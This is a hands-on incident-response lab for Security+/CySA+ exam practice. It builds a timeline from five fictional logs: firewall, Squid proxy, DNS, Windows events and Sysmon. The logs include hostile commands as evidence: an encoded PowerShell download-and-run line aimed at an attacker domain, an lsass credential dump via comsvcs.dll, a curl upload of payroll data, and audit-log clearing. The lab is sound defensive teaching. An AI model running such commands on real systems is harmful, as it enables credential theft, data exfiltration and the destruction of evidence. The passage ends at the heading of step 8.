One Incident, Five Logs, One Timeline: a PBQ-Style Lab
0 / 12 steps
The goal
One made-up incident, told by five different logs: a firewall, a web proxy, a DNS server, Windows event logs and an EDR (Sysmon-style) feed. You will line up their clocks, follow the attacker from one log to the next, and build a single timeline. Then you answer the questions a performance-based question (PBQ) asks: where did it start, how did the attacker move, what left the building, which ATT&CK techniques fit, and which containment steps come first. An answer key is folded away at the end.
Everything here is fictional. The company, people and attacker are invented. All addresses come from the ranges reserved for documentation (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) and the domains end in .test or use example.com, .org and .net, so nothing in the logs points at a real system. You only read text files; nothing runs, connects or downloads.
Why this lab. Security+ objective 4.9 asks you to use data sources to support an investigation: firewall, application, endpoint, OS security and network logs. CySA+ objective 1.2 asks you to spot indicators of malicious activity on hosts, networks and identities. On the exam both show up as PBQs where you get several log windows and have to connect them. People who passed tell us the PBQs are where they lost the most time, so this lab makes you do the connecting by hand, once, slowly.
I phished one accountant, borrowed a backup account and walked out with the payroll in under an hour. The only thing that tripped an alarm was the size of my upload. Five logs saw me. Not one of them talks to the others, which is your problem, not mine. — Nyx
Words you’ll meet
| Term | Meaning |
|---|---|
| Timeline | Every event from every source, converted to one time zone and sorted. The single most useful document in an investigation. |
| Normalize | Make different log formats comparable: same time zone, same field names. Here: firewall local time and proxy epoch time both become UTC. |
| Epoch time | Seconds since 1 January 1970 UTC. Squid and many Linux tools log time this way, for example 1793714539.640. |
| Pivot | Take one clue (an IP address, a host name, a domain) and search for it in the next log. |
| Patient zero | The first machine the attacker got onto. |
| Lateral movement | Moving from the first machine to others inside the network. |
| Pass the hash | Logging on with a stolen password hash instead of the password. Shows up as an NTLM network logon. |
| Beacon | Malware checking in with its command-and-control (C2) server on a schedule. |
| Exfiltration | Data leaving the network without permission. |
| ATT&CK ID | MITRE’s catalog number for an attacker technique, such as T1566.002 for a phishing link. |
| Containment | Stopping the damage from spreading while keeping the evidence, before you clean up. |
Before you start. Use the Ubuntu VM from Lab 00 or Ubuntu 24.04 in WSL2 on Windows; any Linux with jq works too. On a Mac, use the Lab 00 VM: the built-in macOS date takes different options from the Linux one used here. Everything runs as your normal user. The logs total 76 lines, so this is about reading, not computing power.
The scenario
Tuesday, 3 November 2026, 15:05 UTC. You are the analyst on shift at Example Corp, a small company with one office. The perimeter firewall has raised a data-loss alert: a server sent more than 400 MB to an address nobody recognizes. Your lead hands you five log exports covering 02:00 to 15:00 UTC and asks for a timeline, the scope of the incident and your recommended first containment steps within the hour.
| Host | Address | What it is |
|---|---|---|
| WS-FIN-07 | 192.0.2.57 | Finance workstation, user m.lopez |
| FS01 | 192.0.2.20 | File server, holds D:\Shares\Finance |
| DC01 | 192.0.2.10 | Domain controller and internal DNS server |
| WS-HR-02 / WS-IT-01 | 192.0.2.31 / 192.0.2.44 | Other staff workstations |
| Office internet address | 198.51.100.10 | The firewall’s public side |
Steps
01Make a case folder
Every investigation gets its own folder so evidence never mixes. jq is a small tool for reading JSON, the format two of the five logs use. If the second command says “command not found”, install it with sudo apt install -y jq.
$ mkdir -p ~/pbqlab/logs && cd ~/pbqlab $ jq --version
jq-1.7
Why a folder? In a real case you would also record where each file came from and its hash, so you can later prove nothing changed. Security+ calls this preservation and chain of custody (objective 4.8).
02Save the five logs
Copy each block into your terminal. Each one writes one log file into logs/. They are long lines; the copy button gets all of them. Then count the lines to check nothing got cut off.
Rather download? All five logs in one zip (4 KB): incident-timeline-logs.zip. Unzip them straight into logs/ with unzip -j incident-timeline-logs.zip -d logs/, then run the line count at the end of this step.
firewall.log — Perimeter firewall fw01 (one line per finished session, local time UTC-5), 17 lines.
$ cat > logs/firewall.log <<'EOF'
2026-11-03T08:55:02-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.31 sport=50211 dst=198.51.100.30 dport=443 proto=tcp app=ssl bytes_out=1840 bytes_in=5120 duration=1
2026-11-03T08:58:41-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.44 sport=50390 dst=198.51.100.20 dport=443 proto=tcp app=ssl bytes_out=2210 bytes_in=88211 duration=2
2026-11-03T09:01:12-05:00 fw01 action=deny rule=IN-DEFAULT src=203.0.113.45 sport=41022 dst=198.51.100.10 dport=3389 proto=tcp app=rdp bytes_out=0 bytes_in=0 duration=0
2026-11-03T09:01:13-05:00 fw01 action=deny rule=IN-DEFAULT src=203.0.113.45 sport=41022 dst=198.51.100.10 dport=22 proto=tcp app=ssh bytes_out=0 bytes_in=0 duration=0
2026-11-03T09:02:11-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=51544 dst=203.0.113.66 dport=80 proto=tcp app=http bytes_out=612 bytes_in=6740 duration=0
2026-11-03T09:02:20-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=51546 dst=203.0.113.66 dport=80 proto=tcp app=http bytes_out=655 bytes_in=48890 duration=1
2026-11-03T09:03:06-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=51560 dst=203.0.113.99 dport=80 proto=tcp app=http bytes_out=402 bytes_in=4230 duration=0
2026-11-03T09:03:10-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=51562 dst=203.0.113.99 dport=80 proto=tcp app=http bytes_out=410 bytes_in=242310 duration=1
2026-11-03T09:04:10-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=51570 dst=203.0.113.99 dport=443 proto=tcp app=ssl bytes_out=312 bytes_in=1190 duration=0
2026-11-03T09:05:10-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=51578 dst=203.0.113.99 dport=443 proto=tcp app=ssl bytes_out=312 bytes_in=1190 duration=0
2026-11-03T09:06:10-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=51583 dst=203.0.113.99 dport=443 proto=tcp app=ssl bytes_out=312 bytes_in=1190 duration=0
2026-11-03T09:07:11-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=51590 dst=203.0.113.99 dport=443 proto=tcp app=ssl bytes_out=312 bytes_in=1190 duration=0
2026-11-03T09:09:30-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.31 sport=50388 dst=198.51.100.40 dport=443 proto=tcp app=ssl bytes_out=3120 bytes_in=20410 duration=1
2026-11-03T09:44:10-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=52010 dst=203.0.113.99 dport=443 proto=tcp app=ssl bytes_out=312 bytes_in=1190 duration=0
2026-11-03T09:45:10-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.57 sport=52018 dst=203.0.113.99 dport=443 proto=tcp app=ssl bytes_out=312 bytes_in=1190 duration=0
2026-11-03T09:52:31-05:00 fw01 action=allow rule=OUT-SRV-HTTPS src=192.0.2.20 sport=49822 dst=203.0.113.150 dport=443 proto=tcp app=ssl bytes_out=412883112 bytes_in=48211 duration=391
2026-11-03T09:53:40-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.44 sport=50902 dst=198.51.100.20 dport=443 proto=tcp app=ssl bytes_out=1980 bytes_in=61120 duration=1
EOF
proxy.log — Web gateway: transparent Squid proxy, native access.log format, 15 lines.
$ cat > logs/proxy.log <<'EOF'
1793714101.904 1180 192.0.2.31 TCP_TUNNEL/200 5120 CONNECT www.example.org:443 - HIER_DIRECT/198.51.100.30 -
1793714319.377 2040 192.0.2.44 TCP_TUNNEL/200 88211 CONNECT updates.example.org:443 - HIER_DIRECT/198.51.100.20 -
1793714531.212 210 192.0.2.57 TCP_MISS/200 6211 GET http://invoice-examp1e.test/view/8841 - HIER_DIRECT/203.0.113.66 text/html
1793714539.640 820 192.0.2.57 TCP_MISS/200 48211 GET http://invoice-examp1e.test/dl/Invoice_8841.docm - HIER_DIRECT/203.0.113.66 application/vnd.ms-word.document.macroEnabled.12
1793714586.118 190 192.0.2.57 TCP_MISS/200 3954 GET http://sync.cdn-telemetry.test/a - HIER_DIRECT/203.0.113.99 text/plain
1793714589.402 960 192.0.2.57 TCP_MISS/200 241664 GET http://sync.cdn-telemetry.test/u/upd.bin - HIER_DIRECT/203.0.113.99 application/octet-stream
1793714650.005 402 192.0.2.57 TCP_TUNNEL/200 1190 CONNECT sync.cdn-telemetry.test:443 - HIER_DIRECT/203.0.113.99 -
1793714710.011 398 192.0.2.57 TCP_TUNNEL/200 1190 CONNECT sync.cdn-telemetry.test:443 - HIER_DIRECT/203.0.113.99 -
1793714770.002 411 192.0.2.57 TCP_TUNNEL/200 1190 CONNECT sync.cdn-telemetry.test:443 - HIER_DIRECT/203.0.113.99 -
1793714831.020 405 192.0.2.57 TCP_TUNNEL/200 1190 CONNECT sync.cdn-telemetry.test:443 - HIER_DIRECT/203.0.113.99 -
1793714969.880 1320 192.0.2.31 TCP_TUNNEL/200 20410 CONNECT outlook.example.com:443 - HIER_DIRECT/198.51.100.40 -
1793716202.377 12 192.0.2.57 TCP_DENIED/403 3870 CONNECT paste.example.net:443 - HIER_NONE/- text/html
1793717050.008 399 192.0.2.57 TCP_TUNNEL/200 1190 CONNECT sync.cdn-telemetry.test:443 - HIER_DIRECT/203.0.113.99 -
1793717110.003 401 192.0.2.57 TCP_TUNNEL/200 1190 CONNECT sync.cdn-telemetry.test:443 - HIER_DIRECT/203.0.113.99 -
1793717619.610 1110 192.0.2.44 TCP_TUNNEL/200 61120 CONNECT updates.example.org:443 - HIER_DIRECT/198.51.100.20 -
EOF
dns.log — Internal DNS resolver on DC01 (BIND-style query log, UTC), 10 lines.
$ cat > logs/dns.log <<'EOF'
03-Nov-2026 13:55:01.512 queries: info: client @0x7f3a2c00 192.0.2.31#53011 (www.example.org): query: www.example.org IN A + (192.0.2.10)
03-Nov-2026 13:58:39.101 queries: info: client @0x7f3a2c01 192.0.2.44#53090 (updates.example.org): query: updates.example.org IN A + (192.0.2.10)
03-Nov-2026 14:01:58.240 queries: info: client @0x7f3a2c02 192.0.2.57#53188 (outlook.example.com): query: outlook.example.com IN A + (192.0.2.10)
03-Nov-2026 14:02:10.512 queries: info: client @0x7f3a2c03 192.0.2.57#53211 (invoice-examp1e.test): query: invoice-examp1e.test IN A + (192.0.2.10)
03-Nov-2026 14:03:05.880 queries: info: client @0x7f3a2c04 192.0.2.57#53260 (sync.cdn-telemetry.test): query: sync.cdn-telemetry.test IN A + (192.0.2.10)
03-Nov-2026 14:09:29.602 queries: info: client @0x7f3a2c05 192.0.2.31#53302 (outlook.example.com): query: outlook.example.com IN A + (192.0.2.10)
03-Nov-2026 14:12:40.033 queries: info: client @0x7f3a2c06 192.0.2.20#49210 (time.example.org): query: time.example.org IN A + (192.0.2.10)
03-Nov-2026 14:30:02.101 queries: info: client @0x7f3a2c07 192.0.2.57#53377 (paste.example.net): query: paste.example.net IN A + (192.0.2.10)
03-Nov-2026 14:45:58.770 queries: info: client @0x7f3a2c08 192.0.2.20#49302 (drop.files-share.test): query: drop.files-share.test IN A + (192.0.2.10)
03-Nov-2026 14:47:12.090 queries: info: client @0x7f3a2c09 192.0.2.44#53410 (updates.example.org): query: updates.example.org IN AAAA + (192.0.2.10)
EOF
winevents.jsonl — Windows Security and System events exported from the SIEM (JSON lines, UTC), 13 lines.
$ cat > logs/winevents.jsonl <<'EOF'
{"time": "2026-11-03T02:00:04Z", "host": "WS-FIN-07", "channel": "Security", "event_id": 4624, "account": "EXAMPLE\\svc_backup", "logon_type": 5, "auth": "Negotiate", "src_ip": "-", "detail": "service logon: BackupAgent"}
{"time": "2026-11-03T13:50:12Z", "host": "WS-FIN-07", "channel": "Security", "event_id": 4624, "account": "EXAMPLE\\m.lopez", "logon_type": 2, "auth": "Kerberos", "src_ip": "-", "detail": "interactive logon"}
{"time": "2026-11-03T13:50:12Z", "host": "WS-FIN-07", "channel": "Security", "event_id": 4672, "account": "EXAMPLE\\m.lopez", "detail": "special privileges assigned (local Administrators)"}
{"time": "2026-11-03T13:52:30Z", "host": "DC01", "channel": "Security", "event_id": 4625, "account": "EXAMPLE\\k.lee", "logon_type": 3, "auth": "Kerberos", "src_ip": "192.0.2.31", "detail": "bad password 0xC000006A"}
{"time": "2026-11-03T13:52:41Z", "host": "DC01", "channel": "Security", "event_id": 4624, "account": "EXAMPLE\\k.lee", "logon_type": 3, "auth": "Kerberos", "src_ip": "192.0.2.31", "detail": "network logon"}
{"time": "2026-11-03T14:20:00Z", "host": "FS01", "channel": "Security", "event_id": 4624, "account": "EXAMPLE\\j.smith", "logon_type": 3, "auth": "Kerberos", "src_ip": "192.0.2.31", "detail": "network logon"}
{"time": "2026-11-03T14:28:51Z", "host": "FS01", "channel": "Security", "event_id": 4625, "account": "EXAMPLE\\a.admin", "logon_type": 3, "auth": "NTLM", "src_ip": "192.0.2.57", "detail": "bad password 0xC000006A"}
{"time": "2026-11-03T14:28:53Z", "host": "FS01", "channel": "Security", "event_id": 4625, "account": "EXAMPLE\\a.admin", "logon_type": 3, "auth": "NTLM", "src_ip": "192.0.2.57", "detail": "bad password 0xC000006A"}
{"time": "2026-11-03T14:31:06Z", "host": "DC01", "channel": "Security", "event_id": 4776, "account": "EXAMPLE\\svc_backup", "src_ip": "-", "detail": "NTLM credential validation, workstation WS-FIN-07, status 0x0"}
{"time": "2026-11-03T14:31:07Z", "host": "FS01", "channel": "Security", "event_id": 4624, "account": "EXAMPLE\\svc_backup", "logon_type": 3, "auth": "NTLM", "src_ip": "192.0.2.57", "detail": "network logon, workstation WS-FIN-07"}
{"time": "2026-11-03T14:31:07Z", "host": "FS01", "channel": "Security", "event_id": 4672, "account": "EXAMPLE\\svc_backup", "detail": "special privileges assigned"}
{"time": "2026-11-03T14:31:09Z", "host": "FS01", "channel": "System", "event_id": 7045, "account": "LocalSystem", "detail": "service installed: WinUpdSvc, ImagePath %COMSPEC% /Q /c C:\\Windows\\Temp\\upd.exe"}
{"time": "2026-11-03T14:52:30Z", "host": "FS01", "channel": "Security", "event_id": 1102, "account": "EXAMPLE\\svc_backup", "detail": "the audit log was cleared"}
EOF
sysmon.jsonl — EDR telemetry: Sysmon-style events from WS-FIN-07 and FS01 (JSON lines, UTC), 21 lines.
$ cat > logs/sysmon.jsonl <<'EOF'
{"time": "2026-11-03T13:50:15Z", "host": "WS-FIN-07", "event_id": 1, "image": "C:\\Windows\\explorer.exe", "parent_image": "C:\\Windows\\System32\\userinit.exe", "user": "EXAMPLE\\m.lopez", "command_line": "C:\\Windows\\Explorer.EXE"}
{"time": "2026-11-03T14:01:57Z", "host": "WS-FIN-07", "event_id": 1, "image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "parent_image": "C:\\Windows\\explorer.exe", "user": "EXAMPLE\\m.lopez", "command_line": "\"OUTLOOK.EXE\""}
{"time": "2026-11-03T14:02:20Z", "host": "WS-FIN-07", "event_id": 11, "image": "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", "user": "EXAMPLE\\m.lopez", "target": "C:\\Users\\m.lopez\\Downloads\\Invoice_8841.docm"}
{"time": "2026-11-03T14:02:58Z", "host": "WS-FIN-07", "event_id": 1, "image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", "parent_image": "C:\\Windows\\explorer.exe", "user": "EXAMPLE\\m.lopez", "command_line": "\"WINWORD.EXE\" /n \"C:\\Users\\m.lopez\\Downloads\\Invoice_8841.docm\""}
{"time": "2026-11-03T14:03:05Z", "host": "WS-FIN-07", "event_id": 1, "image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "parent_image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", "user": "EXAMPLE\\m.lopez", "command_line": "powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcwB5AG4AYwAuAGMAZABuAC0AdABlAGwAZQBtAGUAdAByAHkALgB0AGUAcwB0AC8AYQAnACkA"}
{"time": "2026-11-03T14:03:06Z", "host": "WS-FIN-07", "event_id": 3, "image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "user": "EXAMPLE\\m.lopez", "dst": "203.0.113.99:80"}
{"time": "2026-11-03T14:03:10Z", "host": "WS-FIN-07", "event_id": 11, "image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "user": "EXAMPLE\\m.lopez", "target": "C:\\Users\\m.lopez\\AppData\\Roaming\\Microsoft\\Windows\\upd.exe"}
{"time": "2026-11-03T14:03:12Z", "host": "WS-FIN-07", "event_id": 1, "image": "C:\\Users\\m.lopez\\AppData\\Roaming\\Microsoft\\Windows\\upd.exe", "parent_image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "user": "EXAMPLE\\m.lopez", "command_line": "upd.exe"}
{"time": "2026-11-03T14:03:13Z", "host": "WS-FIN-07", "event_id": 13, "image": "C:\\Users\\m.lopez\\AppData\\Roaming\\Microsoft\\Windows\\upd.exe", "user": "EXAMPLE\\m.lopez", "target": "HKU\\S-1-5-21-1004\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\OneDriveSync"}
{"time": "2026-11-03T14:04:10Z", "host": "WS-FIN-07", "event_id": 3, "image": "C:\\Users\\m.lopez\\AppData\\Roaming\\Microsoft\\Windows\\upd.exe", "user": "EXAMPLE\\m.lopez", "dst": "203.0.113.99:443"}
{"time": "2026-11-03T14:15:40Z", "host": "WS-FIN-07", "event_id": 1, "image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", "parent_image": "C:\\Windows\\explorer.exe", "user": "EXAMPLE\\m.lopez", "command_line": "\"EXCEL.EXE\" \"C:\\Users\\m.lopez\\Documents\\Q3-close.xlsx\""}
{"time": "2026-11-03T14:22:40Z", "host": "WS-FIN-07", "event_id": 1, "image": "C:\\Windows\\System32\\rundll32.exe", "parent_image": "C:\\Users\\m.lopez\\AppData\\Roaming\\Microsoft\\Windows\\upd.exe", "user": "EXAMPLE\\m.lopez", "command_line": "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 712 C:\\Users\\Public\\d.dmp full"}
{"time": "2026-11-03T14:22:41Z", "host": "WS-FIN-07", "event_id": 10, "image": "C:\\Windows\\System32\\rundll32.exe", "user": "EXAMPLE\\m.lopez", "target": "C:\\Windows\\System32\\lsass.exe (GrantedAccess 0x1FFFFF)"}
{"time": "2026-11-03T14:22:44Z", "host": "WS-FIN-07", "event_id": 11, "image": "C:\\Windows\\System32\\rundll32.exe", "user": "EXAMPLE\\m.lopez", "target": "C:\\Users\\Public\\d.dmp"}
{"time": "2026-11-03T14:31:08Z", "host": "FS01", "event_id": 11, "image": "System", "user": "NT AUTHORITY\\SYSTEM", "target": "C:\\Windows\\Temp\\upd.exe"}
{"time": "2026-11-03T14:31:09Z", "host": "FS01", "event_id": 1, "image": "C:\\Windows\\System32\\cmd.exe", "parent_image": "C:\\Windows\\System32\\services.exe", "user": "NT AUTHORITY\\SYSTEM", "command_line": "C:\\Windows\\system32\\cmd.exe /Q /c C:\\Windows\\Temp\\upd.exe"}
{"time": "2026-11-03T14:31:10Z", "host": "FS01", "event_id": 1, "image": "C:\\Windows\\Temp\\upd.exe", "parent_image": "C:\\Windows\\System32\\cmd.exe", "user": "NT AUTHORITY\\SYSTEM", "command_line": "C:\\Windows\\Temp\\upd.exe"}
{"time": "2026-11-03T14:40:22Z", "host": "FS01", "event_id": 1, "image": "C:\\Windows\\System32\\tar.exe", "parent_image": "C:\\Windows\\Temp\\upd.exe", "user": "NT AUTHORITY\\SYSTEM", "command_line": "tar.exe -a -c -f C:\\Windows\\Temp\\q3.zip D:\\Shares\\Finance\\Payroll"}
{"time": "2026-11-03T14:45:59Z", "host": "FS01", "event_id": 1, "image": "C:\\Windows\\System32\\curl.exe", "parent_image": "C:\\Windows\\Temp\\upd.exe", "user": "NT AUTHORITY\\SYSTEM", "command_line": "curl.exe -s -T C:\\Windows\\Temp\\q3.zip https://drop.files-share.test/u/q3.zip"}
{"time": "2026-11-03T14:46:00Z", "host": "FS01", "event_id": 3, "image": "C:\\Windows\\System32\\curl.exe", "user": "NT AUTHORITY\\SYSTEM", "dst": "203.0.113.150:443"}
{"time": "2026-11-03T14:52:29Z", "host": "FS01", "event_id": 1, "image": "C:\\Windows\\System32\\wevtutil.exe", "parent_image": "C:\\Windows\\Temp\\upd.exe", "user": "NT AUTHORITY\\SYSTEM", "command_line": "wevtutil.exe cl Security"}
EOF
$ wc -l logs/*
10 logs/dns.log 17 logs/firewall.log 15 logs/proxy.log 21 logs/sysmon.jsonl 13 logs/winevents.jsonl 76 total
Read them once by eye. Before any command, open each file with less -S logs/firewall.log (arrow keys to scroll, q to quit) and just look. You will notice that the five files disagree about almost everything: field names, formats and even what time it is. That is normal, and it is exactly what a PBQ throws at you. The firewall and proxy exports were trimmed to keep this page short: they keep the first four and the last two of the malware’s regular check-ins and drop the 36 identical ones in between.
03Line up the clocks
Look at the first line of three files. Three logs, three ways of writing time.
$ head -1 logs/firewall.log | cut -d' ' -f1-5 $ head -1 logs/proxy.log | awk '{print $1, $3, $6, $7}' $ head -1 logs/dns.log | cut -d' ' -f1-2,7 $ date -u -d '2026-11-03T09:52:31-05:00' +%FT%TZ $ date -u -d @1793714539 +%FT%TZ
2026-11-03T08:55:02-05:00 fw01 action=allow rule=OUT-WEB src=192.0.2.31 1793714101.904 192.0.2.31 CONNECT www.example.org:443 03-Nov-2026 13:55:01.512 192.0.2.31#53011 2026-11-03T14:52:31Z 2026-11-03T14:02:19Z
Reading it. The firewall writes local time with its offset: -05:00 means five hours behind UTC, so 09:52:31 there is 14:52:31 UTC. The proxy writes epoch time, seconds since 1970, which date -u -d @ turns into a normal UTC time. The DNS server and both JSON exports already use UTC. Convert everything to UTC before you compare anything: a five-hour gap would make the attacker exfiltrate data before they even got in. One more trap: this firewall writes a line when a connection ends, so a long upload shows up at its finish time. Subtract the duration field to find when it started.
04Start where the alarm went off: the firewall
The alert was about a big upload, so find any session that sent more than 10 MB, then summarize who talked to whom.
$ awk '{split($11,b,"="); if (b[2] > 10000000) print}' logs/firewall.log $ awk '{print $3, $5, $7, $8}' logs/firewall.log | sort | uniq -c | sort -rn
2026-11-03T09:52:31-05:00 fw01 action=allow rule=OUT-SRV-HTTPS src=192.0.2.20 sport=49822 dst=203.0.113.150 dport=443 proto=tcp app=ssl bytes_out=412883112 bytes_in=48211 duration=391
6 action=allow src=192.0.2.57 dst=203.0.113.99 dport=443
2 action=allow src=192.0.2.57 dst=203.0.113.99 dport=80
2 action=allow src=192.0.2.57 dst=203.0.113.66 dport=80
2 action=allow src=192.0.2.44 dst=198.51.100.20 dport=443
1 action=deny src=203.0.113.45 dst=198.51.100.10 dport=3389
1 action=deny src=203.0.113.45 dst=198.51.100.10 dport=22
1 action=allow src=192.0.2.31 dst=198.51.100.40 dport=443
1 action=allow src=192.0.2.31 dst=198.51.100.30 dport=443
1 action=allow src=192.0.2.20 dst=203.0.113.150 dport=443
Reading it. The big one: FS01 (192.0.2.20) sent 412,883,112 bytes (about 413 MB) to 203.0.113.150 over 443, through a rule called OUT-SRV-HTTPS. It ended at 09:52:31 local, 14:52:31 UTC, and lasted 391 seconds, so it started at 14:46:00 UTC. The summary shows two more things worth a pivot: WS-FIN-07 (192.0.2.57) talked to 203.0.113.99 eight times and to 203.0.113.66 twice. The two denied lines from 203.0.113.45 are an internet scanner bouncing off the closed RDP and SSH ports, which happens to every office all day: note it, then move on. In awk, $11 is the 11th space-separated field, and split cuts bytes_out=412883112 at the equals sign.
05Pivot to DNS: who asked for those names?
IP addresses tell you where traffic went; DNS tells you which name a machine was looking for, and which machine asked. List every lookup, then just the odd ones.
$ awk '{split($7,c,"#"); print $2, c[1], $10, $12}' logs/dns.log $ grep -E 'examp1e|cdn-telemetry|paste|files-share' logs/dns.log | awk '{split($7,c,"#"); print $2, c[1], $10}'
13:55:01.512 192.0.2.31 www.example.org A 13:58:39.101 192.0.2.44 updates.example.org A 14:01:58.240 192.0.2.57 outlook.example.com A 14:02:10.512 192.0.2.57 invoice-examp1e.test A 14:03:05.880 192.0.2.57 sync.cdn-telemetry.test A 14:09:29.602 192.0.2.31 outlook.example.com A 14:12:40.033 192.0.2.20 time.example.org A 14:30:02.101 192.0.2.57 paste.example.net A 14:45:58.770 192.0.2.20 drop.files-share.test A 14:47:12.090 192.0.2.44 updates.example.org AAAA 14:02:10.512 192.0.2.57 invoice-examp1e.test 14:03:05.880 192.0.2.57 sync.cdn-telemetry.test 14:30:02.101 192.0.2.57 paste.example.net 14:45:58.770 192.0.2.20 drop.files-share.test
Reading it. Company traffic goes to example.com and example.org. Four names do not fit. invoice-examp1e.test is a lookalike (a digit 1 instead of the letter l), asked for by WS-FIN-07 at 14:02:10, twelve seconds after Outlook’s own lookup. sync.cdn-telemetry.test follows a minute later. paste.example.net is a paste site. And at 14:45:58 the file server itself asked for drop.files-share.test, two seconds before the big upload began. A file server has no reason to browse the web. You now have two hosts in scope, WS-FIN-07 and FS01.
06Pivot to the web proxy: what did WS-FIN-07 fetch?
The proxy records full web addresses for unencrypted requests and the site name for encrypted ones. Pull out everything WS-FIN-07 did, converting epoch time on the way, then list anything the proxy blocked.
$ grep ' 192.0.2.57 ' logs/proxy.log | while read -r ep ms ip code bytes method url rest; do echo "$(date -u -d @${ep%.*} +%T) $code $method $url $bytes"; done $ awk '$4 ~ /DENIED/ {print $3, $4, $7}' logs/proxy.log
14:02:11 TCP_MISS/200 GET http://invoice-examp1e.test/view/8841 6211 14:02:19 TCP_MISS/200 GET http://invoice-examp1e.test/dl/Invoice_8841.docm 48211 14:03:06 TCP_MISS/200 GET http://sync.cdn-telemetry.test/a 3954 14:03:09 TCP_MISS/200 GET http://sync.cdn-telemetry.test/u/upd.bin 241664 14:04:10 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 1190 14:05:10 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 1190 14:06:10 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 1190 14:07:11 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 1190 14:30:02 TCP_DENIED/403 CONNECT paste.example.net:443 3870 14:44:10 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 1190 14:45:10 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 1190 192.0.2.57 TCP_DENIED/403 paste.example.net:443
Reading it. At 14:02:11 the user opened a page on the lookalike site, and eight seconds later downloaded Invoice_8841.docm: a Word document with macros (the m in docm). At 14:03:06 something fetched /a (3,954 bytes of text) and then upd.bin (241,664 bytes of program) from the second domain. From 14:04:10 the machine connects to sync.cdn-telemetry.test:443 every 60 seconds with exactly 1,190 bytes back: a beacon. At 14:30:02 the proxy blocked a connection to the paste site because of its web category. Blocked content is an indicator in its own right (Security+ 2.4): the attacker tried one way out, failed, and found another.
07Pivot to the EDR: what ran on WS-FIN-07?
The proxy shows downloads; the endpoint shows what ran. Event IDs follow Sysmon: 1 process created, 3 network connection, 10 one process opened another, 11 file created, 13 registry value set. The second command decodes the hidden PowerShell.
$ jq -r 'select(.host=="WS-FIN-07") | [.time[11:19], .event_id, (.image | split("\\") | last), (.command_line // .target // .dst)] | join(" ")' logs/sysmon.jsonl | cut -c1-112
13:50:15 1 explorer.exe C:\Windows\Explorer.EXE 14:01:57 1 OUTLOOK.EXE "OUTLOOK.EXE" 14:02:20 11 msedge.exe C:\Users\m.lopez\Downloads\Invoice_8841.docm 14:02:58 1 WINWORD.EXE "WINWORD.EXE" /n "C:\Users\m.lopez\Downloads\Invoice_8841.docm" 14:03:05 1 powershell.exe powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUA 14:03:06 3 powershell.exe 203.0.113.99:80 14:03:10 11 powershell.exe C:\Users\m.lopez\AppData\Roaming\Microsoft\Windows\upd.exe 14:03:12 1 upd.exe upd.exe 14:03:13 13 upd.exe HKU\S-1-5-21-1004\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSync 14:04:10 3 upd.exe 203.0.113.99:443 14:15:40 1 EXCEL.EXE "EXCEL.EXE" "C:\Users\m.lopez\Documents\Q3-close.xlsx" 14:22:40 1 rundll32.exe rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 712 C:\Users\Public\d.dmp full 14:22:41 10 rundll32.exe C:\Windows\System32\lsass.exe (GrantedAccess 0x1FFFFF) 14:22:44 11 rundll32.exe C:\Users\Public\d.dmp
$ jq -r 'select(.event_id==1 and (.command_line | test("-enc "))) | .command_line | split(" ") | last' logs/sysmon.jsonl | base64 -d | iconv -f UTF-16LE -t UTF-8; echo
IEX (New-Object Net.WebClient).DownloadString('http://sync.cdn-telemetry.test/a')
Reading it. The chain is plain once it is in order. Edge saves the .docm; Word opens it at 14:02:58; seven seconds later Word starts PowerShell with -nop -w hidden -enc: no profile, hidden window, Base64-encoded command. Decoded (Base64, then UTF-16LE, the way PowerShell expects it), it downloads and runs the /a script you saw in the proxy. PowerShell then writes upd.exe, starts it, and upd.exe adds a Run key named OneDriveSync so it starts again at every logon. At 14:22:40 it uses rundll32.exe with Windows’ own comsvcs.dll to dump the memory of lsass.exe, the process that holds logged-on users’ password hashes. That only works with admin rights, so keep an eye out for why m.lopez had them. The // in jq means “if this field is missing, use the next one”.
08Pivot to Windows events: who logged on where?
